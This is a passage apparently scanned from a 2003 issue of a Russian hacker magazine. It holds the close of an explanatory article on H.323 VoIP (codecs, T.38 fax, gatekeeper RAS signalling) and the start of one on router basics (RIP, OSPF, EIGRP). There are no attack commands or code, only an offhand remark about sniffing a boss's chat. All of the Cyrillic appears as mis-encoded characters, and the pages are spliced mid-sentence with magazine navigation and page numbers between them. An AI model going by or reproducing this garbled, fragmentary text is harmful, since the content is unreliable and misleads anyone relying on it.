ïîâñåìåñòíî. Íî âðåìÿ øëî, è ìîùíîñòü æåëåçà<br />
ñòðåìèòåëüíî ðîñëà, ÷åãî íåëüçÿ áûëî ñêàçàòü î<br />
ïðîïóñêíîé ñïîñîáíîñòè ñåòåé. Ýòî ïðèâåëî ê òîìó,<br />
÷òî êîäåêè ñòàëè ïåðåôîðìèðîâûâàòü ñâîè<br />
àëãîðèòìû â ñòîðîíó áîëüøåé æàäíîñòè ê âû÷èñëèòåëüíûì<br />
ðåñóðñàì, âçàìåí ïîíèæàÿ ñâîè òðåáîâàíèÿ<br />
ê øèðèíå ïåðåäàþùåãî êàíàëà. Òóò ïðèìåíÿëèñü<br />
è MP3-ïîäîáíûå àëãîðèòìû, è ìåòîäû<br />
ôîíåìíîé êîìïðåññèè, è ÷àñòîòíûå îãðàíè÷åíèÿ<br />
ïîëåçíîé ÷àñòè ñèãíàëà, è ìíîãîå äðóãîå.<br />
Ïðèáëèçèòåëüíî ðàçâèòèå êîäåêîâ â ýòîì íàïðàâëåíèè<br />
âûãëÿäåëî òàê: G.711 (àëãîðèòì - PCM, ïîëîñà<br />
ïðîïóñêàíèÿ - 64kbps, òðåáîâàíèÿ ê DSP -<br />
ñòðåìÿòñÿ ê íóëþ), G.726 (àëãîðèòì - ADPCM, ïîëîñà<br />
ïðîïóñêàíèÿ - 32kbps, òðåáîâàíèÿ ê DSP - 6<br />
MIPS), G.729 (àëãîðèòì - ôîíåìíûé âîêîäåð, ïîëîñà<br />
ïðîïóñêàíèÿ - 8kbps, òðåáîâàíèÿ ê DSP - 21.5<br />
MIPS), G.723 (ãèáðèäíûé àëãîðèòì - ôîíåìíûé âîêîäåð<br />
+ PCM + ADPCM, ïîëîñà ïðîïóñêàíèÿ - 5.3-<br />
6.3kbps, òðåáîâàíèÿ ê DSP - 16.5 MIPS). Íàèáîëåå<br />
ïîïóëÿðíûì ïî ñîîòíîøåíèþ êà÷åñòâî/ïðîèçâîäèòåëüíîñòü/øèðèíà<br />
êàíàëà ïî ïðàâó ñ÷èòàåòñÿ êîäåê<br />
G.729. Ñóùåñòâóþò è äðóãèå, íî îíè íå òàê øèðîêî<br />
ðàñïðîñòðàíåíû. Ñòîèò îòìåòèòü òîò ôàêò, ÷òî îáðåçàíèå<br />
âûñîêèõ ÷àñòîò ñäåëàëî íåâîçìîæíûì ðàáîòó<br />
ôàêñîâ è ïðî÷åãî ìîäóëÿòîðíî-äåìîäóëÿòîðíîãî<br />
îáîðóäîâàíèÿ â ãîëîñîâîì ðåæèìå. Äëÿ ðàçðåøåíèÿ<br />
ýòîé ñèòóàöèè ïðèìåíÿþòñÿ ñõåìû, äåòåêòèðóþùèå<br />
íà÷àëî ðàáîòû ïîäîáíîãî îáîðóäîâàíèÿ,<br />
è ñïåöèàëüíûå ìîäåìíî-ôàêñîâûå êîäåêè.<br />
Ëîãè÷åñêèå êàíàëû â ýòîì ñëó÷àå ðàáîòàþò â<br />
Ññûëêè ïî òåìå:<br />
http://www.itu.int - îðãàíèçàöèÿ ITU, çàíèìàþùàÿñÿ ðàçðàáîòêàìè ðåêîìåíäàöèé ñâÿçè, â<br />
òîì ÷èñëå è ïðîòîêîëà H.323.<br />
http://www.openh323.org - êîìàíäà OpenH323, çàíèìàþùàÿñÿ ðàçðàáîòêîé áèáëèîòåê ñ<br />
îòêðûòûìè èñõîäíûìè êîäàìè, îáëåã÷àþùèõ æèçíü ïðîãðàììåðó â îáëàñòè òîãî æå H.323.<br />
http://www.vovida.org - òóò åñòü ïðî èíèöèàòèâó OpenG.729.<br />
RFC 1889/1890 - îïèñàíèå RTP è RTCP.<br />
1 2 3 4<br />
76 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
DATAMODE, à íå â VOICE. Íàèáîëåå ðàñïðîñòðàíåííûì<br />
ðåøåíèåì äëÿ ïåðåäà÷è ôàêñîâ ïî IP íà<br />
äàííûé ìîìåíò ÿâëÿåòñÿ ñõåìà T.38.<br />
ÇÀÏÈØÈ ÌÎÉ ÒÅËÅÔÎÍ<br />
Åñëè äëÿ ISDN àäðåñàöèÿ â âèäå òåëåôîííûõ íîìåðîâ<br />
ÿâëÿåòñÿ ðîäíîé, òî äëÿ ñåòåé VoIP, èìåþùèõ<br />
ñòûêè ñ çîíàìè òðàäèöèîííîé òåëåôîíèè (òåëåôîííûå<br />
ñåòè îáùåãî ïîëüçîâàíèÿ, ÒÔÎÏ èëè<br />
PSTN), òðåáóåòñÿ àëãîðèòì òðàíñëÿöèè ýòèõ íîìåðîâ<br />
â IP-àäðåñà. Îäíèì èç ðåøåíèé ýòîé ïðîáëåìû<br />
ÿâëÿåòñÿ çàíåñåíèå â êàæäûé øëþç òàáëèöû<br />
ñîîòâåòñòâèÿ ìåæäó òåëåôîííûìè íîìåðàìè è IPàäðåñàìè,<br />
íî ïîíÿòíî, ÷òî äëÿ áîëåå èëè ìåíåå<br />
êðóïíîé ñåòè ýòî íåïðèìåíèìî. Áîëåå ãðàìîòíîé<br />
ñõåìîé ÿâëÿåòñÿ èñïîëüçîâàíèå öåíòðàëèçîâàííîé<br />
áàçû äàííûõ äëÿ òðàíñëÿöèè àäðåñîâ, òàêæå ñîäåðæàùåé<br />
ñåðâèñíûå è àóòåíòèôèêàöèîííûå<br />
ôóíêöèè. Òàêîå óñòðîéñòâî íàçûâàåòñÿ ãåéòêèïåð<br />
(ðóññêèé âàðèàíò ýòîãî ñëîâà - "ïðèâðàòíèê" ìíå<br />
íå íðàâèòñÿ, è ïîëüçîâàòüñÿ èì ÿ íå áóäó).<br />
Ãåéòêèïåð îáùàåòñÿ ñ H.323-óñòðîéñòâàìè ïîñðåäñòâîì<br />
ðàñøèðåíèÿ ïðîòîêîëà H.225, çîâóùåãîñÿ<br />
H.225 RAS (Registration Admission Status). Ñîîáùåíèÿ<br />
ýòîãî ïðîòîêîëà òàêæå êîìïèëèðóþòñÿ<br />
ASN.1-êîìïèëÿòîðîì, íî ïåðåäàþòñÿ íå ïî TCP,<br />
êàê âñÿ ðàññìîòðåííàÿ ðàíåå ñèãíàëèçàöèÿ, à ïî<br />
UDP (÷òî îáëåã÷àåò çàäà÷è ñïóôèíãà). Óñëîâíî<br />
ìîæíî ðàçáèòü ýòó ñèãíàëèçàöèþ íà ñëåäóþùèå<br />
ãðóïïû: ïîèñê ãåéòêèïåðà, ñåðâèñíûå ôóíêöèè,<br />
îáñëóæèâàíèå çâîíêîâ, ìåæãåéòêèïåðíîå âçàèìîäåéñòâèå.<br />
Îáùàþòñÿ òóò îáû÷íî, ïîñûëàÿ ïàêåò<br />
èç ñåðèè ×ÒÎ_ÒÎ_REQUEST, ïîëó÷àÿ â îòâåò ïàêåò<br />
×ÒÎ_ÒÎ_CONFIRM, ñèãíàëèçèðóþùèé î ïîäòâåðæäåíèè<br />
çàïðîñà è íåñóùèé çàïðîøåííûå äàííûå.<br />
×ÒÎ_ÒÎ_REJECT, åñëè îòâåò íà çàïðîñ îòðèöàòåëüíûé,<br />
ëèáî íå ïîëó÷àÿ íè÷åãî, ÷òî òîæå ìîæåò<br />
áûòü â îïðåäåëåííûõ ñëó÷àÿõ.<br />
Ïåðâîíà÷àëüíî óñòðîéñòâî èùåò ñâîé ãåéòêèïåð,<br />
ïîñûëàÿ (ëèáî ïî êîíêðåòíîìó àäðåñó, ëèáî øèðîêîâåùàòåëüíûì<br />
çàïðîñîì) ïàêåò GATEKEEPER-<br />
REQUEST (GRQ), åñëè â îòâåò îíî ïîëó÷èò õîòü îò<br />
êîãî-íèáóäü îòâåò GATEKEEPERCONFIRM (GCF),<br />
òî ìîæíî ïîïðîáîâàòü âñòàòü ïîä ýòîò ãåéòêèïåð.<br />
Ïîñëå òîãî, êàê óñòðîéñòâî îïðåäåëèëîñü, ñ êåì<br />
îíî áóäåò âçàèìîäåéñòâîâàòü, îíî øëåò ñâîåìó<br />
ãåéòêèïåðó çàïðîñ íà âõîä â ñåðâèñ REGISTRA-<br />
TIONREQUEST (RRQ), ñîäåðæàùèé íåîáõîäèìûå<br />
äàííûå, îïèñûâàþùèå óñòðîéñòâî. Åñëè ãåéòêèïåð<br />
ñ÷èòàåò âîçìîæíûì âõîä óñòðîéñòâà â ñåðâèñ,<br />
îí îòâå÷àåò åìó REGISTRATIONCONFIRM<br />
(RCF), èëè ïîñûëàåò åãî ïîäàëüøå ñ ïîìîùüþ<br />
REGISTRATIONREJECT (RRJ) ñ îïèñàíèåì ïðè÷èíû<br />
ïîñûëà. Òàêæå, ïðè ïîèñêå ãåéòêèïåðà è âõîäå â<br />
ñåðâèñ, óñòðîéñòâî ìîæåò ñîîáùèòü òåëåôîííûå<br />
íîìåðà èëè ïðåôèêñû, êîòîðûå îíî ïðèíèìàåò íà<br />
ñåáÿ. Ýòî ïîçâîëÿåò ðåàëèçîâàòü äèíàìè÷åñêóþ<br />
÷àñòü òàáëèöû òðàíñëÿöèè. Òåïåðü, êîãäà óñòðîéñòâî<br />
â ñåðâèñå, îíî ìîæåò ïîëüçîâàòüñÿ ñåðâèñíûìè<br />
ôóíêöèÿìè îáñëóæèâàíèÿ çâîíêîâ, íå çàäóìûâàÿñü<br />
íè î ÷åì ñàìîñòîÿòåëüíî.<br />
Íàèáîëåå âàæíûå ôóíêöèè, íà ìîé âçãëÿä, ýòî<br />
àâòîðèçàöèÿ âõîäÿùåãî çâîíêà è òðàíñëÿöèÿ íîìåðîâ<br />
â IP-àäðåñà. Îñóùåñòâëÿþòñÿ îíè ïîñðåäñòâîì<br />
çàïðîñîâ-îòâåòîâ ñåðèè ADMISSION. Àâòîðèçàöèÿ<br />
ïðîèñõîäèò òàê: â óñòðîéñòâî ïàäàåò<br />
VoIP-çâîíîê, îíî ïîñûëàåò ãåéòêèïåðó çàïðîñ<br />
ADMISSIONREQUEST (ARQ), ñîäåðæàùèé èíôîðìàöèþ<br />
î òîì, ÷òî óñòðîéñòâî ñ òàêèì-òî IP'øíèêîì<br />
ïûòàåòñÿ ñòåðìèíèðîâàòü íà ìåíÿ çâîíîê íà<br />
òàêîé-òî òåëåôîííûé íîìåð, ÷òî ìíå äåëàòü Åñëè<br />
ãåéòêèïåð îòâå÷àåò íà ýòî ADMISSIONCON-<br />
FIRM (ACF), òî óñòðîéñòâî ïðèíèìàåò çâîíîê è<br />
îáðàáàòûâàåò, åñëè æå ADMISSIONREJECT (ARJ),<br />
òî ïîñûëàåò òàêóþ ïîïûòêó ïîäàëüøå. Ýòî àêòóàëüíî<br />
äëÿ óñòðîéñòâà-òåðìèíàòîðà (ïðèíèìàþùåãî<br />
çâîíîê). Óñòðîéñòâó-îðèãèíàòîðó (ïûòàþùåìóñÿ<br />
ñëèòü íà êîãî-íèáóäü çâîíîê) íóæíà ôóíêöèÿ<br />
òðàíñëÿöèè. Ðàáîòàåò îíà òàê: òîæå ïîñûëàåò<br />
ãåéòêèïåðó çàïðîñ ADMISSIONREQUEST (ARQ), íî<br />
ñîäåðæàùèé èíôîðìàöèþ î òîì, ÷òî ÿ õî÷ó ñëèòü<br />
çâîíîê íà òàêîé-òî íîìåð, êòî åãî ñìîæåò ïðèíÿòü<br />
Ãåéòêèïåð îòâå÷àåò íà ýòî ADMISSIONCON-<br />
FIRM (ACF), ñîîáùàÿ â íåì IP-àäðåñ óñòðîéñòâà,<br />
êîòîðîå ïðèìåò íà ñåáÿ ýòîò íîìåð, ëèáî ADMIS-<br />
SIONREJECT (ARJ), òîãäà çâîíîê íèêóäà íå óéäåò,<br />
è àáîíåíò "À" ïîëó÷èò îòáîé (ê ïðèìåðó, àáîíåíò<br />
íà ñòîðîíå àíàëîãîâîé òåëåôîííîé ñåòè óñëûøèò<br />
FASTBUSY, áûñòðûå êîðîòêèå ãóäêè).<br />
 ÇÀÊËÞ×ÅÍÈÅ<br />
 ðàìêàõ ýòîé ñòàòüè íåâîçìîæíî áûëî îõâàòèòü<br />
âñå àñïåêòû è ìåòîäèêè ñòàíäàðòà H.323, íî ÿ íàäåþñü,<br />
÷òî ìíå óäàëîñü äîíåñòè îñíîâíûå ïîíÿòèÿ<br />
è ñõåìû ðàáîòû è äàòü êëþ÷åâûå íàïðàâëåíèÿ<br />
äëÿ òåõ, êòî çàõî÷åò ãëóáæå ðàçîáðàòüñÿ â ýòîé<br />
òåìå. Ñïåöèàëüíî äëÿ ïðîãðàììèñòîâ â ñëåäóþùåé<br />
ñòàòüå ÿ îñâåùó ìåòîäèêè ðàáîòû ñ ëèíóêñîâîé<br />
áèáëèîòåêîé OpenH323, ïîçâîëÿþùåé äîñòàòî÷íî<br />
ïðîñòî è ýôôåêòèâíî ðàáîòàòü ñ H.323 ñîåäèíåíèÿìè<br />
â âèäå êàê ñàìûõ âûñîêîóðîâíåâûõ<br />
ìîäåëåé, òàê è ïðîòîêîëüíûõ<br />
ðàçáîðîê ïî ïàêåòàì ñèãíàëèçàöèè.<br />
Äî âñòðå÷è.<br />
H.323 ñåòü ñ ãåéòêèïåðîì<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
Âçëîì<br />
ÌÀÐØÐÓÒÈÇÀÒÎÐÛ: ÁÎËÜØÈÅ È Î×ÅÍÜ ÁÎËÜØÈÅ<br />
Òóòêàáàåâ Åðêåáóëàí (streetseeker@mail.ru)<br />
ÌÀÐØÐÓÒÈÇÀÒÎÐÛ:<br />
ÁÎËÜØÈÅ<br />
È Î×ÅÍÜ<br />
ÁÎËÜØÈÅ<br />
ÎÑÍÎÂÛ ÐÀÁÎÒÛ ÌÀÐØÐÓÒÈÇÀÒÎÐÎÂ<br />
Ìíîãèå ñëûøàëè î íèõ. Ìàðøðóòèçàòîð. Áîëüøèíñòâî ïðåäñòàâëÿåò åãî ñåáå êàê òàèíñòâåííûé äåâàéñ,<br />
ðàñïîëîæåííûé "ãäå-òî ó ïðîâàéäåðà" è âûïîëíÿþùèé óæàñàþùèå ïî ñëîæíîñòè ôóíêöèè... Ïîðà òåáå óçíàòü,<br />
÷òî èìåííî ñêðûâàåòñÿ çà ýòèì ñëîâîì.<br />
Äëÿ íà÷àëà íåìíîãî òåîðèè. Íàáåðèñü âíèìàíèÿ,<br />
âûêëþ÷è ìîáèëüíèê è óñòðîéñÿ ïîóäîáíåå - íà÷àëè.<br />
Âîîáùå, ìàðøðóòèçàòîð íàçûâàþò ðàçíûìè<br />
îáèäíûìè è íå î÷åíü ïðîçâèùàìè. Ðîóòåð, ìàðøðóòèçàòîð,<br />
êèñêà, öèñêà (âîîáùå-òî ýòî ðîóòåðû<br />
îò Cisco, íî òàê óæ ïîâåëîñü) - âñå ýòî îäíî è òî<br />
æå óñòðîéñòâî. Â ïðèíöèïå, ìîæåò ïîêàçàòüñÿ,<br />
÷òî ïðîñòîé õàá è ðîóòåð èìåþò îäèíàêîâûå<br />
ôóíêöèè - îáà îíè ëèíêóþò ëîêàëüíûå ñåòè è ïåðåäàþò<br />
äàííûå äàëüøå ïî íàçíà÷åíèþ. Íî ó ðîóòåðà<br />
åñòü ðÿä âàæíûõ îòëè÷èé. Ïåðâîå: îí âûáèðàåò<br />
îïòèìàëüíûé ïóòü ïðîõîæäåíèÿ ïàêåòà, à<br />
çíà÷èò, ïîâûøàåò ýôôåêòèâíîñòü ðàáîòû ñåòè.<br />
Íåîáõîäèìîñòü â ðîóòåðå ìîæåò âîçíèêíóòü, åñëè<br />
òû àäìèíèøü ñåòü ñ áîëüøèì êîëè÷åñòâîì ñåãìåíòîâ<br />
è ðàçíîðîäíûìè ïðîòîêîëàìè è óñòðîéñòâàìè.<br />
Âòîðîå: ðîóòåðû óìåþò ðàáîòàòü ñ ðàçíûìè<br />
òèïàìè êîììóòàöèîííûõ êàáåëåé. Ýòà óìíàÿ ôðàçà<br />
îçíà÷àåò, ÷òî ðîóòåð ìîæåò ëèíêîâàòü ñåòü, îñíîâàííóþ,<br />
ñêàæåì, íà îïòîâîëîêîííîì êàíàëå, ñ<br />
ñåòüþ íà êîàêñèàëå. Òðåòüå: ðîóòåð ìîæåò ñâÿçûâàòü<br />
ñåòè íà ðàçíûõ ïðîòîêîëàõ - äîïóñòèì,<br />
TCP/IP è IPX. ×åòâåðòîå: ðîóòåð çàïðîñòî ìîæåò<br />
ñêîììóòèðîâàòü ñåòè ðàçëè÷íîãî òèïà, íàïðèìåð,<br />
â îäíîì êàáèíåòå ó òåáÿ áåãàåò Token Ring, à â<br />
êàáèíåòå ó øåôà - Ethernet. Õî÷åòñÿ ïîñíèôàòü<br />
÷àò øåôà ñ ñåêðåòàðøåé Òû óæå çíàåøü, ÷òî òåáå<br />
íóæíî :). Ïÿòîå: ðîóòåð îáåñïå÷èâàåò âîçìîæíîñòü<br />
âûâîäà ëîêàëüíîé ñåòè â WAN. Åñëè ó òåáÿ<br />
â óíèâåðå åñòü èíòåðíåò - ïîâíèìàòåëüíåé ïðèãëÿäèñü<br />
ê ñåòåâîìó îáîðóäîâàíèþ - òàì íàâåðíÿêà<br />
ñòîèò èçâåñòíûé òåáå ðîóòåð. Øåñòîå: ðîóòåðû<br />
âðåìåí III ïíÿ ïîääåðæèâàþò QoS (ïîìíèøü ýòó<br />
ôèøå÷êó â Win XP). Íåïîñâÿùåííûì - QoS - ýòî<br />
Quality of Service, ïîçâîëÿåò íàçíà÷àòü ïðèîðèòåòû<br />
ïðîöåññàì è â ñîîòâåòñòâèè ñ ýòèì ïåðåäàâàòü<br />
äàííûå ïî ñåòè. Ñåäüìîå: ðîóòåð ïîçâîëÿåò óïðàâëÿòü<br />
øèðèíîé ïîëîñû ïðîïóñêàíèÿ îòäåëüíî<br />
äëÿ êàæäîãî òèïà òðàôèêà. Âîñüìîå: êàê òû, íàâåðíîå,<br />
ïîìíèøü, â ñåãìåíòå ñåòè íå ìîæåò áûòü<br />
áîëüøå ÷åòûðåõ ïîâòîðèòåëåé (ðåïèòåðîâ), à ïîñåìó<br />
ðîóòåð ïðîñòî íåîáõîäèì, åñëè òðåáóåòñÿ<br />
îáåñïå÷èòü ñâÿçü íà åùå áîëüøèå ðàññòîÿíèÿ.<br />
Äåâÿòîå: ðîóòåð ìîæåò âûïîëíÿòü ôóíêöèè<br />
áðàíäìàóýðà è â ñëó÷àå ãðàìîòíîé íàñòðîéêè<br />
ïðåäîòâðàùàòü àòàêè ðàçëè÷íîãî ðîäà. Òû óæå<br />
ïîíÿë, ÷òî ðîóòåð - ýòî âå÷íûé ðóëåç Õîðîøî,<br />
òåïåðü çàãëÿíåì ïîä êîðó åãî ãîëîâíîãî ìîçãà ;).<br />
Ñòîïêà òåìíî-ñèíèõ ìîäóëåé ðîóòåðà<br />
ÑÏÈÍÍÎÉ ÌÎÇÃ ÐÎÓÒÈÍÃÀ<br />
Ïðèêîë çàêëþ÷àåòñÿ â òîì, ÷òî ðîóòåð íå ïðîñòî<br />
ëèíêóåò ïóñòü äàæå ðàçíûå òèïû ñåòåé. Îí ìîæåò<br />
óïðàâëÿòü òðàôèêîì, îñíîâûâàÿñü íà ïðîòîêîëå<br />
ñåòåâîãî óðîâíÿ (åñëè õî÷åøü óçíàòü ïîáîëüøå îá<br />
ýòîì ïðîòîêîëå - èçó÷è ýòàëîííóþ ìîäåëü OSI -<br />
òàì îí íàõîäèòñÿ íà òðåòüåì óðîâíå). Äëÿ ýòîãî<br />
ñóùåñòâóþò ÷åòûðå îñíîâíûõ àëãîðèòìà - RIP,<br />
OSPF, EIGRP è BGP. Â RIP (Routing Information<br />
Protocol) ðîóòåðû êàæäûå 30 ñåêóíä îáìåíèâàþòñÿ<br />
òàáëèöàìè ìàðøðóòèçàöèè, â êîòîðûõ îïèñûâàþò<br />
äîñòèæèìûå óçëû ñåòè. RIP äîâîëüíî ïðèìèòèâåí,<br />
òàê êàê îïðåäåëÿåò îïòèìàëüíûé ïóòü äëÿ ïðîõîæäåíèÿ<br />
ïàêåòîâ, îñíîâûâàÿñü ëèøü íà êîëè÷åñòâå<br />
õîïîâ (õîï - ýòî ìàðøðóòèçàòîð, ñòîÿùèé íà ïóòè<br />
ïðîõîæäåíèÿ ïàêåòà), ïðè ýòîì îò åãî âíèìàíèÿ<br />
óñêîëüçàþò òàêèå âàæíûå ìîìåíòû, êàê çàãðóæåííîñòü<br />
ñåòè è âðåìÿ ïðîõîæäåíèÿ ýòîãî ïóòè. Íàïðèìåð,<br />
íà âåòêå A ó íàñ, ñêàæåì, 5 õîïîâ, à íà<br />
âåòêå B - 7. Ðîóòåð ðåøàåò, ÷òî âåòâü À îïòèìàëüíà,<br />
íå äóìàÿ î òîì, ÷òî ïî íåé ãàðíûå õëîïöû èç<br />
YYY-îé ãðóïïû ñåé÷àñ êà÷àþò "Àìåðèêàíñêèé ïèðîã-2"<br />
:), ê òîìó æå èíôà î íåäîñòóïíîñòè êàêîãîòî<br />
óçëà ðàñïðîñòðàíÿåòñÿ ñëèøêîì ìåäëåííî, äà<br />
åùå è ðîóòåðû, îòäåëåííûå 16 õîïàìè ñ÷èòàþòñÿ<br />
íåäîñòèæèìûìè äðóã äëÿ äðóãà, ïîñêîëüêó â RIP<br />
16 õîïîâ ïðèðàâíèâàþòñÿ ê áåñêîíå÷íîñòè. Äëÿ<br />
ðåøåíèÿ äàííîé ïðîáëåìû è ñîçäàëè âòîðîé àëãîðèòì<br />
- OSPF (Open Shortest Path First). Ýòîò àëãîðèòì<br />
êàê ðàç è ó÷èòûâàåò âñå ýòè òðàáëû, à ïî-<br />
1 2 3 4<br />
78 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
òîìó ÿâëÿåòñÿ áîëåå ýôôåêòèâíûì, ïðàâäà ïðè<br />
ýòîì òðåáóåò îò ðîóòåðà õèòðîãî êàìíÿ ñ áîëüøèì<br />
êîëè÷åñòâîì Ãåðöåâ. Òàêæå ó÷òè, ÷èòàþùèé õàëÿâùèê,<br />
÷òî ñ åãî íàñòðîéêîé òû îòðàñòèøü ñåáå ãåìîððîé<br />
íåìàëîé äëèíû. Òàê ÷òî åñëè ñåòü ó òåáÿ<br />
íåáîëüøàÿ, è ïî íåé ëåòàþò ëèøü âîðäîâñêèå äîêè,<br />
òî íå íàïðÿãàéñÿ è ñòàâü RIP.<br />
Òàê âîò, ñòîèò íàø ðîóòåð, ñêîíôèãóðèðîâàííûé è<br />
ãîòîâûé ê ó÷àñòèþ â âèðòóàëüíîì áàçàðå ìåæäó<br />
êîìïüþòåðàìè. ×òî òàì ïðîèñõîäèò, ñåé÷àñ ìû è<br />
óçíàåì: êàê òîëüêî íà åãî èíòåðôåéñ ïîïàäàåò ïàêåò,<br />
ðîóòåð ñìîòðèò íà åãî àäðåñ íàçíà÷åíèÿ è<br />
âûïîëíÿåò êîìàíäû ïðîöåññîðà, îïðåäåëÿþùèå<br />
âûõîäíîé ïîðò. Çàòåì ïàêåò ïðîõîäèò ïî ïðÿìîé<br />
êèøêå ìàðøðóòèçàòîðà (ãëàâíîé ìàãèñòðàëè) è<br />
ïîäïîëçàåò ê èíòåðôåéñíîìó ìîäóëþ, êîòîðûé<br />
ñëóæèò äëÿ ñâÿçè ñ àäðåñóåìûì ñåãìåíòîì ñåòè.<br />
ÏÐÎÒÎÊÎËÛ<br />
 ñëó÷àå RIP àëãîðèòìà êàæäûé ðîóòåð èìååò òàáëèöó<br />
ìàðøðóòèçàöèè. Ýòà òàáëèöà íóæíà äëÿ òîãî,<br />
÷òîáû ðîóòåð îïðåäåëèë: ïåðåäàòü ïàêåò ñëåäóþùåìó<br />
ðîóòåðó èëè æå óñòðîéñòâî ñ íóæíûì<br />
àäðåñîì íàõîäèòñÿ âíóòðè åãî ñåãìåíòà ñåòè.<br />
Òàáëèöà âñåãäà âêëþ÷àåò â ñåáÿ ñëåäóþùóþ èíôó:<br />
ðåàëüíûå àäðåñà óñòðîéñòâ â ñåòè, àäðåñà<br />
áëèæàéøèõ ìàðøðóòèçàòîðîâ, ñëóæåáíóþ èíôó<br />
ïðîòîêîëà ìàðøðóòèçàöèè, óêàçàíèå êðàò÷àéøåãî<br />
ðàññòîÿíèÿ è âûõîäíîé ëèíèè äëÿ êàæäîãî àäðåñàòà.<br />
Ïåðèîäè÷åñêè ðîóòåðû îáìåíèâàþòñÿ ýòèìè<br />
òàáëèöàìè, ÷òîáû âñåãäà ìîæíî áûëî íàéòè îïòèìàëüíûé<br />
ìàðøðóò. Íàïðèìåð, åñëè êàêîå-òî óñòðîéñòâî<br />
çàãíóëîñü è íå ïðèíèìàåò ïàêåòû - ýòî<br />
áóäåò îòìå÷åíî â òàáëèöå è ïåðåäàíî âñåì îñòàëüíûì<br />
ðîóòåðàì.<br />
 ñëó÷àå OSPF ðîóòåðû íå âåäóò òàáëèö ìàðøðóòèçàöèè,<br />
ñîáèðàÿ èíôó ëèøü î ñâîèõ áëèæàéøèõ<br />
ñîñåäÿõ è èçìåðÿÿ øèðèíó ïîëîñû ïðîïóñêàíèÿ<br />
ìåæäó íèìè. Ðîóòåð îñóùåñòâëÿåò broadcast-ðàññûëêó<br />
èíôîðìàöèè òîëüêî î ñâîèõ ñîñåäÿõ, è ðàññûëêà<br />
èíèöèèðóåòñÿ òîëüêî ïðè èçìåíåíèè èíôîðìàöèè<br />
î ñîñòîÿíèè ñåòè. Ïðè ïîëó÷åíèè èçìåíåíèé<br />
ðîóòåð ïî íîâîé îïðåäåëÿåò áëèæàéøèé<br />
ïóòü äî âñåõ àäðåñàòîâ. Êàê òîëüêî OSPF-ðîóòåð<br />
íà÷èíàåò ðàáîòó, îí ðàññûëàåò ïàêåòû-ïðèâåòñòâèÿ<br />
ïî âñåì ïîðòàì.  ñëó÷àå åñëè åìó îòâåòèë<br />
ðîóòåð, îí îáìåíèâàåòñÿ ñ íèì èíôîðìàöèåé, è<br />
ïðè íîðìàëüíîé àóòåíòèôèêàöèè îíè ïåðåäàþò<br />
äðóã äðóãó MAC-àäðåñà. Ïîñëå òîãî, êàê âñå óñòàêàíèëîñü,<br />
è ðîóòåðû îïðåäåëèëè ãðàíèöû ñåòè,<br />
îäèí èç íèõ íàçíà÷àåòñÿ îòâåòñòâåííûì ðîóòåðîì<br />
(DR-Designed Router), à äðóãîé - ðåçåðâíûì îòâåòñòâåííûì<br />
ðîóòåðîì (BDR-Backup Designed<br />
Router). Îòâåòñòâåííûé ðîóòåð îòâå÷àåò çà áàçó<br />
äàííûõ î ñîñòîÿíèè ñåòè è multicast-ðàññûëêó ñîîáùåíèé<br />
îá èçìåíåíèÿõ â ñåòè âñåì ðîóòåðàì.<br />
Ïðè èçìåíåíèè ñîñòîÿíèè ñåãìåíòà ñåòè ðîóòåð,<br />
êîòîðîìó ïðèíàäëåæèò äàííûé êàíàë, ïîñûëàåò<br />
îò÷åò îá èçìåíåíèÿõ íà DR è BDR-ðîóòåðû. BDR<br />
õðàíèò êîïèþ áàçû äàííûõ DR’à, è â ñëó÷àå âûõîäà<br />
åãî èç ñòðîÿ çàìåùàåò åãî ôóíêöèè ñîáîé, îäíîâðåìåííî<br />
íàçíà÷àÿ íîâûé BDR-ðîóòåð è âûñûëàÿ<br />
åìó êîïèþ áàçû äàííûõ.<br />
EIGRP ïðîòîêîë âûãîäíî îòëè÷àåòñÿ îò ïðåäûäóùèõ<br />
òåì, ÷òî îí ïðåäîñòàâëÿåò âîçìîæíîñòü èçáåæàòü<br />
çàöèêëèâàíèÿ ìàðøðóòîâ. Ðîóòåð ïîä<br />
EIGRP îïðàøèâàåò ñâîèõ ñîñåäåé òàê æå, êàê è<br />
OSPF, íî ïðè ýòîì îí òðåáóåò îò íèõ òàáëèöû<br />
ìàðøðóòèçàöèè. Ïîëó÷èâ òàáëèöó, ðîóòåð ïåðåõîäèò<br />
â ñîñòîÿíèå ïðîñëóøèâàíèÿ, "çàñûïàåò", îæèäàÿ,<br />
ïîêà â ñåòè íå ïðîèçîéäóò êàêèå-ëèáî èçìåíåíèÿ.<br />
Êàê òîëüêî îäèí èç êàíàëîâ, îáñëóæèâàåìûé<br />
ðîóòåðîì, íàêðîåòñÿ, îí âíîâü îæèâåò è ðàçîøëåò<br />
ñîîáùåíèÿ âñåì ðîóòåðàì, êîòîðûõ çàòðàãèâàåò<br />
ýòî ïå÷àëüíîå ñîáûòèå.<br />
Åñëè ðîóòåð ïîëó÷àåò ñîîáùåíèå î êàêîì-òî ïóòè,<br />
êîòîðûé äëèííåå, ÷åì èñïîëüçóåìûé ðîóòåðîì â<br />
äàííûé ìîìåíò, òî ýòîò ïóòü èãíîðèðóåòñÿ, åñëè<br />
òîëüêî ýòà èíôîðìàöèÿ íå ïðèõîäèò îò ðîóòåðà,<br />
ïðèíàäëåæàùåãî ñàìîìó êîðîòêîìó ïóòè. Òîãäà<br />
ðîóòåð îñòàíàâëèâàåò èçìåíåíèå òàáëèöû ìàðøðóòèçàöèè<br />
è çàïóñêàåò DUAL (Diffusing Update<br />
Algorithm), îïðàøèâàþùèé ñâîèõ ñîñåäåé, íå çíàþò<br />
ëè îíè áîëåå êîðîòêîãî ïóòè ê ìåñòó íàçíà÷åíèÿ.<br />
Åñëè îäèí èç ðîóòåðîâ çíàåò òàêîé ïóòü, îí<br />
ñîîáùàåò åãî; åñëè æå íåò - çàïðîøåííûé ðîóòåð<br />
ñàì çàïóñêàåò DUAL, â ïîèñêàõ áîëåå êîðîòêîãî<br />
ïóòè. Ýòî ïîâòîðÿåòñÿ äî òåõ ïîð, ïîêà îí íå áóäåò<br />
íàéäåí, ëèáî ïîêà ìàðøðóòèçàòîð íå ñîîáùèò<br />
âñåì îñòàëüíûì ìàðøðóòèçàòîðàì êîððåêòíóþ<br />
ìåòðèêó áîëåå äëèííîãî ïóòè. Çàïîìíè, ïîêà<br />
Cisco äóøèò æàáà, ýòîò àëãîðèòì áóäåò ðàáîòàòü<br />
